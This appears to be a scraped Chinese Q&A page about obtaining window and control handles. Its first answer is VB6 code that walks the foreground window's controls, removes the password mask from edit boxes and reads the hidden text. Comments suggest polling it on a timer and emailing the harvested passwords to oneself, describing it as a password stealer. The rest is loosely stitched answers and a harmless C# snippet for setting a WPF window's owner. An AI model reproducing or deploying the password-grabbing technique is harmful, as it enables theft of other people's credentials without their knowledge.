c#,获取控件的句柄?,高手入!

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了c#,获取控件的句柄?,高手入!相关的知识,希望对你有一定的参考价值。

'缓存子窗体控件句柄
Public
ChildHwnd
As
String
Declare
Sub
Sleep
Lib
"kernel32"
(ByVal
dwMilliseconds
As
Long)
'发送消息
Declare
Function
SendMessage
Lib
"user32"
Alias
"SendMessageA"
(ByVal
hWnd
As
Long,
ByVal
wMsg
As
Long,
ByVal
wParam
As
Long,
lParam
As
Any)
As
Long
Declare
Function
PostMessage
Lib
"user32"
Alias
"PostMessageA"
(ByVal
hWnd
As
Long,
ByVal
wMsg
As
Long,
ByVal
wParam
As
Long,
ByVal
lParam
As
Long)
As
Long
'主要用来遍历子窗体和子控件句柄
Declare
Function
EnumChildWindows
Lib
"user32"
(ByVal
hWndParent
As
Long,
ByVal
lpEnumFunc
As
Long,
ByVal
lParam
As
Long)
As
Long
'控件类型
Declare
Function
GetClassName
Lib
"user32"
Alias
"GetClassNameA"
(ByVal
hWnd
As
Long,
ByVal
lpClassName
As
String,
ByVal
nMaxCount
As
Long)
As
Long
'开始遍历
EnumChildWindows
me.hWnd,
AddressOf
EnumChildProc,
ByVal
0&
'遍历子窗体控件句柄,这个函数必须用在模块中
Public
Function
EnumChildProc(ByVal
hWnd
As
Long,
ByVal
lParam
As
Long)
As
Long
ChildHwnd
=
ChildHwnd
&
","
&
hWnd
EnumChildProc
=
1
End
Function
'由于上面这个函数每次调用都会得到下一个子窗体(控件)的句柄,并赋值给hWnd,实际使用中,我把所有子句柄存放在ChildHwnd字符串中,遍历完毕,再
'Dim
AllHwnd()
As
String
'去除多余的无效字符
'ChildHwnd
=
Mid(ChildHwnd,
2)
'转换成数组
'AllHwnd
=
Split(ChildHwnd,
",")
'获得所有子句柄后,需要获取其控件类型
'查看窗体/控件类型
Public
Function
FGetClassName(hWnd
As
Long)
As
String
Dim
ClassName
As
String
Dim
Ret
As
Long
'为类名设置缓存区大小
ClassName
=
Space(256)
'得到GETCLASSNAME返回值
Ret
=
GetClassName(hWnd,
ClassName,
256)
FGetClassName
=
Left(ClassName,
Ret)
End
Function
'直接sendmessage
就可以得到控件中的内容了,对于某些可能有passwordchar属性的控件,需要先sendmessage查看其passwordchar属性,再 postmessage取消该属性,一定时间延迟后(一定要),再sendmessage读取内容,再sendmessage恢复passwordchar属性
Public
Function
GetText(WindowHandle
As
Long)
As
String
Dim
strBuffer
As
String,
Char
As
String,
lngTextLength
As
Long
strBuffer
=
Space(255)
'得到password掩码
Char
=
SendMessage(WindowHandle,
&HD2,
0,
0)
'去除edit控件的passwordchar属性
PostMessage
WindowHandle,
&HCC,
0,
0
'如果是edit控件则等待消息发送成功
If
InStr("Edit",
FGetClassName(WindowHandle))
And
Char
<>
"0"
Then
Sleep
(10)
'得到edit控件的text
SendMessage
WindowHandle,
&HD,
255,
ByVal
strBuffer
'恢复edit控件的passwordchar属性
PostMessage
WindowHandle,
&HCC,
ByVal
Char,
0
GetText
=
Trim(strBuffer)
End
Function
'最后,利用timer控件,不断获取当前窗体GetForegroundWindow的所有子控件的内容就可以了
'可以向密码结巴那样,整理出密码后smtp到自己邮箱(参见使用winsock和smtp一文)
'测试了下,我自己机器上,只有qq2007
beta3的密码是读不出来的,用户名是假的
'这种较高级的消息只对普通edit控件产生作用,自己写个类就比较安全了
'今天在安全焦点看了篇文章,可以直接从内存中读取控件内容,vb要实现可能很有点难...
参考技术A 这个好像是关闭电脑的API吧
至于你说的句柄问题,好像不是吧,你需要个系统消息,我当时做的时候也差不多。
参考技术B "string
lpszClass,
string
lpszWindow
在原FindWindowEx中是指针。。
将string
lpszClass,
string
lpszWindow改为
ref
string
lpszClass,
ref
string
lpszWindow
引用传递。。试下。"

获取当前进程(程序)主窗体句柄并设置wpf的父窗体为此句柄

原文:获取当前进程(程序)主窗体句柄并设置wpf的父窗体为此句柄

有时候在c++调用wpf控件的时候,wpf控件想自己显示窗体,但需要设置owner属性。迂回解决办法是设置wpf的window窗体的父窗体为进程的句柄。

 

1.获取当前进程id

 int id = Process.GetCurrentProcess().Id;

 

2.根据进程id获取进程主句柄

 public static class ProcessHelper
        {
            private static class Win32
            {
                internal const uint GwOwner = 4;

                internal delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);

                [DllImport("User32.dll", CharSet = CharSet.Auto)]
                internal static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);

                [DllImport("User32.dll", CharSet = CharSet.Auto)]
                internal static extern int GetWindowThreadProcessId(IntPtr hWnd, out IntPtr lpdwProcessId);

                [DllImport("User32.dll", CharSet = CharSet.Auto)]
                internal static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);

                [DllImport("User32.dll", CharSet = CharSet.Auto)]
                internal static extern bool IsWindowVisible(IntPtr hWnd);
            }

            public static IntPtr GetProcessHandle(int processId)
            {
                IntPtr processPtr = IntPtr.Zero;

                Win32.EnumWindows((hWnd, lParam) =>
                {
                    IntPtr pid;
                    Win32.GetWindowThreadProcessId(hWnd, out pid);

                    if (pid == lParam &&
                        Win32.IsWindowVisible(hWnd) &&
                        Win32.GetWindow(hWnd, Win32.GwOwner) == IntPtr.Zero)
                    {
                        processPtr = hWnd;
                        return false;
                    }

                    return true;

                }, new IntPtr(processId));

                return processPtr;
            }
        }

 3.设置wpf的window的父窗体为当前进程主窗口句柄,完整代码如下:

  int id = Process.GetCurrentProcess().Id;
            IntPtr mainPtr = ProcessHelper.GetProcessHandle(id);
            var win = new Window();
            new WindowInteropHelper(win) { Owner = mainPtr }; 
            win.Show();

 

 

 感谢阅读。

以上是关于c#,获取控件的句柄?,高手入!的主要内容,如果未能解决你的问题,请参考以下文章

WPF的控件没有句柄,但是有啥其他间接方法获得WPF控件的句柄啊。

WPF的控件没有句柄,但是有啥其他间接方法获得WPF控件的句柄啊。

WPF的控件没有句柄,但是有啥其他间接方法获得WPF控件的句柄啊。

c#高手进.关于c#里面的radioButton控件怎么用?

为啥我用delphi编程获取窗口句柄不成功?

求解,C#里面已经知道窗口句柄,怎么隐藏这个窗口呢?跪求高手指点!